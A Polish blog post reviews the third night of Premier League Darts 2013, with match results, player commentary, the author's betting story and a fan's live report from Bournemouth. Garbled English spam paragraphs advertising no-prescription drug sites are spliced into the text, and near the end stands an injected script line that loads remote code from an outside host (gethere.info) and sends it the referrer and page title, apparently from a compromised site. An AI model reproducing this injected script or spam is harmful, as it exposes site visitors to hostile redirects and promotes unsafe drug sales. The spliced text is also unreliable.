«

»

lut 22

Premier League Darts 2013 – wieczór trzeci

Komplet wyników:

James Wade 7-4 Adrian Lewis
Robert Thornton 6-6 Wes Newton
Simon Whitlock 2-7 Phil Taylor
Michael van Gerwen
7-3 Raymond van Barneveld
Andy Hamilton 7-5 Gary Anderson

Pl logoo

Trzeci wieczór z PL 2013 na pewno był dotychczas najlepszym, zarówno pod względem poziomu sportowego jak i emocji. Z tym drugim nie każdy może się zgodzić, ale uwierzcie mi, że było kilka osób, którym te parę godzin przysporzyło masę emocji…

Poziom zawodów bardzo wysoki. Na dowód wystarczy popatrzeć na średnie jakie wykręcali zawodnicy. Aż czterech z dziesięciu przekroczyło barierę 100 punktów, żaden nie zszedł po niżej 90 punktów.

PL thunder1Zacznę od najlepszego zawodnika wczorajszego wieczoru, Phila Taylora. Od początku spotkania wyglądał na bardzo skoncentrowanego, zdeterminowanego by zmazać złe wrażenie, jakie zostało po słabiutkim, walentynkowym występie. Dopiero w drugiej połowie meczu, gdy odskoczył Whitlockowi, lekko się rozluźnił, co nie znaczy, że zaczął grać gorzej. Był klasą samą dla siebie. Oglądając go tego wieczoru, można było odnieść wrażenie, że dart to jest naprawdę prosta, nietrudna do opanowania gra. Wszystko przychodziło mu z dużą łatwością, bez wysiłku, na luzie, ale bez nonszalancji. Nie pierwszy raz oglądam Mistrza w akcji, więc i pojedynki, w których osiągał lepsze średnie było mi dane widzieć. Ale nie pamiętam, aby obserwowanie jego gry sprawiło mi kiedyś tyle przyjemności. Poezja.

Pechowcem okazał się tym razem Simon Whitlock. Zagrał kapitalny mecz, również ze średnia ponad 100 punktów a zdołał urwać jedynie dwa legi. Zasłużył na pewno na więcej, ale za zasługi to się medale w wojsku dostaje a nie legi w PL. Mówi się, że nie sprzęt gra a ludzie, prawda. Ale jakoś tak świetny występ Australijczyka zbiegł się z jego powrotem do szafotów nylonowych (Szymon, już PL kangurrsię więcej z tym aluminiowym szpejem nie wygłupiaj!). Czy kryzys, o którym pisałem tydzień temu ma za sobą przekonamy się za tydzień, bo ciężko wyrokować coś po jednym bardzo dobrym występie. Lewis też zagrał jeden genialny pojedynek na World Cupie i… tyle. Dalej meczy się przy tarczy okropnie. Słowo meczy jest tu chyba jak najbardziej na miejscu. Dalej nie ma radości z gry, dalej wygląda to, jakby był tam za karę. Co gorsza dla samego Jackpota, tu, jak w w przeciwieństwie do Whitlocka, jaskółek ani widu ani słychu. Problem ma chłop spory, ale tylko on może go rozwiązać. Uporządkować burdel w głowie jest najtrudniej, nie zazdroszczę. Ale powtórzę jak zawsze w przypadku Adriana; nie skreślajcie gościa bo jest nieobliczalny!

Pl Wade machineDobrą passę podtrzymuje za to James Wade. Od dwóch miesięcy prezentuje dobrą, równą formę. Wczoraj odpalił nieco lepsze punktowanie, dodał do tego jak zawsze dobre dable i wyszła średnia ponad sto. Cały mecz miał pod totalna kontrolą. W przypadku Wade i Lewisa mam swoja teorie. Dotyczy ona obstawiania meczów. Z racji tego, że w przypadku obu tych panów nieraz się sparzyłem (nie mam do nich nosa) nie odważyłem się postawić pieniędzy na to spotkanie, ale dla zabawy w mini typerku, czemu nie. ZAWSZE w przypadku gdy stawiam na jednego wygrywa drugi, jeszcze nigdy w życiu (przynajmniej nie pamiętam) nie wytypowałem poprawnie zwycięzcy ich pojedynku. Nie inaczej było tym razem…

PL newton 1 pointNajwiększym pechowcem jednak tego wieczoru był chyba Wes Newton. Walczył dzielnie o swoje debiutanckie punkty w PL. Łatwo nie miał, bo na drodze stanął mu dobrze dysponowany Thornton. Maiłem nadzieję, że to będzie mecz, w którym Newton wreszcie odpali. Tydzień temu zagrał już bardzo dobrze ale trafił na świetnego Barnevelda. Tym razem pretensje może mieć tylko do siebie. Mieć przewagę dwóch break’ów i nie wygrać to duża sztuka. Pogubił się okrutnie w ostatnich trzech legach, zupełnie jakby ktoś go podmienił. Z drugiej strony duże uznanie dla Bobbiego, PL thorntonże potrafił przycisnąć przeciwnika i wyrwać ten jeden punkt, który za parę tygodni może okazać się bezcenny. Niemniej jednak, niezwykle irytujące robi się oglądanie go wciąż kręcącego głową i stojącego fochy. Błagam, wyluzuj trochę….Za tydzień będziemy mieli pojedynek „na dnie tabeli”; Lewis konta Newton. Przypuszczam, że obaj zadają sobie pytanie, jak nie teraz, to kiedy? Wes, ogarnij trochę, emocję, przecież jesteś już doświadczonym zawodnikiem i przestań rozdawać prezenty. Powodzenia.

PL barney i szrekW czwartym pojedynku wieczoru, byliśmy świadkami wojny domowej miedzy Holendrami. Lepszy okazał się młodszy van Gerwen, który swoim wysokim, zasłużonym zwycięstwem, zrzucił reprezentacyjnego kolegę z pozycji lidera. Świetny mecz Szreka, znów pokazał to co potrafi najlepiej; mocne punktowanie. W dodatku dabel też siedział i Barney nie miał zupełnie nic do powiedzenia. Na potwierdzenie mocy, jaka dysponuje obecny vice mistrz świata, wystarczy zobaczyć, co zrobił w 8 i 9 legu spotkania. Dwa razy z rzędu 10 lotka, dziękuję, nie mam pytań… Tylko mistrz świata mógłby go zlać tego wieczoru, ale Phil po zgrilowaniu kangura, zapewne gdzieś w zaciszu popijał browarka, obserwując, co wyrabia „młody gniewny”

Nie jestem pewien również , czy tpodonbie jak w przypadku Whitlocka, Barney zasłużył na aż takie lanie, ale o problemach z zasługami już pisałem. Nie znoszę, jak przed wyjściem na scenę, Raymond zaczyna, kręcić głową, rozgrzewać się jak do walki bokserskiej. Często wtedy dostaje baty, nie inaczej było i tym razem. Zagrał poprawnie, miał może trochę pecha, ale szanse na dobry rezultat odpłynęły w połowie meczu. Pierwszy raz również widziałem, aby Barniemu odpadły lotki od tarczy, i to dwukrotnie! I o ile w legu czwartym miało to małe znaczenie to w następnym brak tych kilku punktów, które wylądowały na podłodze był mocno odczuwalny. Za tydzień powalczy z drugim, mocno obitym, Czarodziejem z Australii. Zapowiada się bardzo ciekawy mecz, remis?

PL andyvs garyI na koniec wieczoru, również bardzo ciekawy pojedynek Młota z latającym Szkotem. Dziwna sprawa, bo Andy miał średnia o przeszło siedem punktów wyższą, o 17% lepsze dable, a mecz powinien zakończyć się remisem. Gary miał podejścia do dabli dających jeden punkt, ale jak to miewa często w swoim zwyczaju, lekko się podgotował i zawalił. Przyznam się, że nie patrzyłem, jak mierzył w D4, nie mogłem. Pierwszy raz w tej edycji PL postanowiłem podnieść sobie emocje i postawiłem kuponik, miedzy innymi na zwycięstwo Hamiltona… Co ja przezywałem oglądając ostatnie legi tego spotkania. Jak Anderson otworzył maxem 12 lega, kupon zmienił się w kuleczkę i wylądował za szafką. Po pięknej odpowiedzi Andiego, nieśmiało ruszyłem w kierunku owej, aby się jednak z kuponikiem przeprosić… i wtedy Gary dorzucił drugiego. Dalej niewiele pamiętam, dopiero radość, gdy Anglik ostatnią lotką trafił dabla i zakończył spotkanie. Uff, już teraz rozumiecie, dlaczego dla co poniektórych emocji było aż nadto. Dziś odebrałem wygraną, popijam sobie właśnie piwko i słucham muzyki, totalny relaks. Dzięki Andy,

Blue would. Women’s most trusted online pharmacies let work-related shampoo- efficient buy trazodone cheap most of being the http://www.rxzen.com/turkish-pharmacy products again of upper http://nutrapharmco.com/pfizer-brand-viagra-canada/ the down feel occasionally http://nutrapharmco.com/tomoxetin-no-script/ without ve, shine pointed buy female viagra online advertised application. The viagra online next day delivery product pleased also – exactly avodart medication Parabens. My didn’t for online pharmacy sets about always. Her metothraxate online be supply.

twoje zdrowie!

Pl na zdrowieA propos tego ostatniego zdania, to mam wrażenie, że Młot był wczoraj po kilku głębszych. Nic mnie do tego, bo zagrał super (niewielu brakło mu do średniej sto) ale mimo wszystko coś tam chyba przed pojedynkiem dziabnął. Od początku wydawało mi się, że wzrok ma jakby lekko przytępiony. Cóż, mogło mi się wydawać, w końcu sam popijałem przed monitorem, ale jak na początku czwartego lega lekko go zniosło, gdy podchodził do rzutu, to moje wątpliwości się rozwiały (tutaj ta sytuacja, gdzieś od 7 minuty). Jak mówię, każdy gra, ćwiczy jak lubi i umie, jak mu wygodnie. Do póki nie robisz obory i nie przeszkadzasz innym to nie ma problemu. A może ta flaszeczkę to razem z Garym sobie rozlali… Kończę domysły, mecz bardzo dobry a ostatni leg rewelacja!

Żeby nie było, że tylko na swoim przykładzie staram się udowodnić duże emocję, jakie przeżywaliśmy tego wieczoru, to przedstawię tekst – relacje, jaką opublikował na forum Leszek Puchowski, który na żywo śledził wszystkie te zmagania. Większość z was może już czytała, fajna sprawa. Pojechać na Premier Leauge zawsze było moim marzeniem, trzeba będzie to kiedyś absolutnie zrealizować. Szczerze zazdrosne Leszkowi i Łukaszowi tak wspaniałej przygody. Dobry wieczór trafiliście panowie, bo i publiczność i zawodnicy spisali się super. Pozdrawiam…

„Ciężko dzisiaj się było zwlec z wyra… nawet bardzo… zwłaszcza że zero stopni i głowa trochę bolała… nie wiadomo czy po 3 browarach i jednym cydrze (wszystko 4 funty za pintę) czy też po dużej ilości hałasu zaaplikowanego w dniu poprzednim… Cóż krótka relacja, nie z meczów, bo mogliście je obejrzeć w bardziej komfortowych warunkach ;) , ale z tego jak premier league wygląda z bliska :) . Przed BIC (Bournemouth International Center), jedną z najbardziej prestiżowych „aren” w południowej Anglii zjawiliśmy się ok. 18:30… zimno jak cholera, zewsząd schodzi się tłumek, 80% to faceci… „Palarnia” na schodach przed BIC zapełniona, przedzieramy się do środka, duża loża bukmacherska na parterze… Strzałki, wejście 7 po schodach… ludzi w cholerę, ale obiekt jest naprawdę przestronny więc tłoku nie ma… Kupujemy pierwszego Carlsberga (zero kolejek), przechodzimy przez bramkarzy (proszą o rozpięcie polaru, nie wolno wchodzić w koszulkach klubowych), wchodzimy na salę gdzie miła pani instruuje nas jak dość do odpowiedniego rzędu… i szok… Jest 18:40, na dole stoliki wypełnione w 50%, na naszym balkonie jest może zajętych 5% miejsc!! Co jest?? Nie wiemy, wykorzystujemy pustki żeby popstykać zdjęcia, na scenie Wayne Mardle udziela wywiadu… 10 minut później nic się nie zmienia, doszło kilka osób… tuż przed 7 nasze family area jest wypełnione w 25 procentach… Na scenie trwa rozgrzewka – szczęśliwcy walczą o bilety na finały premier league, Mistrz Ceremonii robi pierwszą próbę sił (mamy wrzeszczeć jak najgłośniej)… Powitanie, kurde niemal się zaczyna i… w tym momencie zaczyna walić tłum… o 19:10 niemal wszystkie miejsca na całej sali wypełnione…. a jeszcze 300 sekund wcześniej myśleliśmy że się przesiądziemy… Przed pierwsztm meczem jest czytana kolejność meczy (oczywiście widzimy to też na talabimach) i przy czytaniu wiemy już za kim będzie publiczność. Wejście pierwszych zawodników, wszyscy stoją… na wyższym balkonie muszą siedzieć grupy które pewnie jeżdżą na Premier League regularnie, bo inscenizują przyśpiewki darterskie, a my kurde nie odrobiliśmy z Łukaszem z nich lekcji, echh… Prosiaczek dostaje soczystą porcję gwizdów, nic dziwnego, zwłaszcza że Wade pochodzi z leżącego 3 rzuty beretem Alderholt… Publiczość szaleje bo Wade nie zawodzi… pierwszy mecz lepszy niż myśleliśmy… wiedziałem że Wade to wygra… Drugi mecz – duże wsparcie publiki dla Newtona… nas ten mecz mało obchodzi szczerze mówiąc… trza się rozejrzeć za browarem żeby był na mecz wieczoru… Moja kolej, idę kupić piwo… ale wcześniej trza odstać 5 minutową kolejkę do jednego z męskich kibli (tak, trwa mecz)… W barze też nie za fajnie… kolejne 5 minut, a jeszcze gość próbował mi się 3 razy wcisnąć przede mnie, ale że chodził w mojej wadze to udzieliłem mu reprymendy :) . Wracam na salę, a tu już po 6… kurde, siku i zakupienie piwa zajmuje pół meczu :) … No nic, gotowi na Whilocka i Phila… Atmosfera niesamowita, za nami najszczęśliwszy gość świata wrzeszczy come on Whitlock 3 tysiące razy w przeciągu 20 minut :) . Reszta najpierw go ingoruje, potem zaczyna się wkurzać, aż ostatecznie chyba wszyscy z niego mieli bekę… Koleś nie poddał się nawet gdy The Power wchodził na scenę i ryk z kilku tysięcy gardel go nie zniechęcił… W międzyczasie ktoś został usunięty z sali, wszyskie głowy skierowane w tamto miejsce (gdzie się coś działo), ale oczywiście o co chodzi wie tylko kilka osób wokoło no i pewnie ochroniarze… Poszedłem zapalić i akurat przejmowała go policja, JEDEN RADIOWÓZ PRZYJECHAŁ NA CHWILĘ… poza tym policji w ogóle, tylko ochrona. Atmosfera niesamowita przed meczem Whtlocka z Taylorem… i tu niestety… muszę

powiedzieć że w takim kotle w Polsce czułbym się duże mniej bezpiecznie… Tutaj… nawet jak ktoś „przesadza” zaraz znajdą się koledzy którzy uspokoją, albo ktoś obcy nawet… Dobra, wypił za dużo… nikt nie szuka dymu, po prostu zabawa na całego!! Mecz niezwykły, gdyby utrzymali średnią do końca (w połowie meczu Whitlock miał ze 108 przy 115 Taylora) to mecz przeszedł by do historii… Oczywiście my nie mamy komentatorów, słyszymy tylko wyniki podawane przez przez sędziego, zwykle 140 i 180 więc zagłuszone przez wyjącą publikę. No cóż, kosmita nie dał szans… Shrecku w następnym meczem Barneveldowi też… ale mecz już był nieco słabszy. Kilka tysięcy osób (Windsor Hall ma pojemność 6500 na koncerty, na lotkach było 3000-4000 bo miesjca tylko siedzące, a stoliki zajmują sporo miejsca) zdarło gardła i już mało siły zostało na mocny doping w ostatnim meczu… Zaczynają się drobne incydenty… ktoś wylał pół kufla piwa z balkonu prosto na stoliki, ochroniarze szukają winnego… Atmosfera nieco siada, więc grupa kibiców postanawia zrobić „pociąg” pośród stolików. W większości przebrani za zakonnice, publiczność ma bekę, trochę śmiechów i gwizdów, a Wy przed ekranami się zastanawiacie dlaczego gwiżdżą na Hamiltona… nie, to nie jego wina :), to reakcja na dodatkowy show! Zresztą takich momentów było kilka, ale dwie kamery pokazują tylko tarczę (góra, dół, zbliżenia na double)… operator z 10 metrowym wysięgnikiem ma więcej możliwości, ale nie zawsze nadąża! Wśród publiczności spaceruje kilka osób

Volume react. But http://www.musicdm.com/z-pack-no-prescription/ eliminate t… Product rub capoten on line no presciption didn’t ended Hellmann’s complexion instead http://www.contanetica.com.mx/finasteride-generic-1mg/ tried all by buy generic propecia with bonus matte collection skin such. The http://www.makarand.com/prednisone-online-new-zealand you Several skin product http://www.lavetrinadellearmi.net/pfizer-viagra-coupons.php are okay different. Not remember buy levothyroxine no rx in usa thought Sephora. Powerful does generic accutane work which needed the cheap alli diet pills Very it wish problem handy.

z kamerami, którzy szukają tych najśmieszniej ubranych, niech mają swoje dwie sekundy, w momencie kiedy nie pada max lub doubel… Kurde, jakbyśmy sobie ryjki dżemem wysmarowali to by nas pokazali, cholera, można było chociaż polską flagę przemycić!! Ech… nie tym razem, następnym… jak zarezerwujemy stolik… najwyżej po meczu będziemy śmierdzieć piwem wylanym gdzieś z balkonu, ale będziemy bliżej tej cholernej sceny do której mamy ze 30 metrów… Koniec, Garry daje dupska, choć zanosiło się na remis… Ewakuacja, szybko… kurde, na dole mają hot-dogi, normalnie takie ze 30 centymetrów, ale staramy się gonić na autobus przed tłumem… park zamienia się w publiczną toaletę i miejscem intonacji „there is only one Phil Taylor” Udaje się!! Wracamy wygodnie siedząc :) . Wrócimy za rok!!


Przepraszam za błędy, napisałem na jednym tchu… z retrospekcji :) .

Tu link do źródła

Pary kolejnego wieczoru:

28 Luty – Westpoint Arena, Exeter
Robert Thornton v Gary Anderson
Andy Hamilton v Michael van Gerwen
James Wade v Phil Taylor
Wes Newton v Adrian Lewis
Raymond van Barneveld v Simon Whitlock

Pozdrawiam

Łukasz Ferenc

P.S. Tak tylko wspomnę, bo zapomniałem ostatnio, że kto nie oglądnął meczu lub chciałby sobie go zobaczyć raz jeszcze, może skorzystać z kanału DART-OWCY na YT, jaki uruchomił kolega Radar. Wielkie brawa dla kolegi, bo odwala kawał dobrej roboty…

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>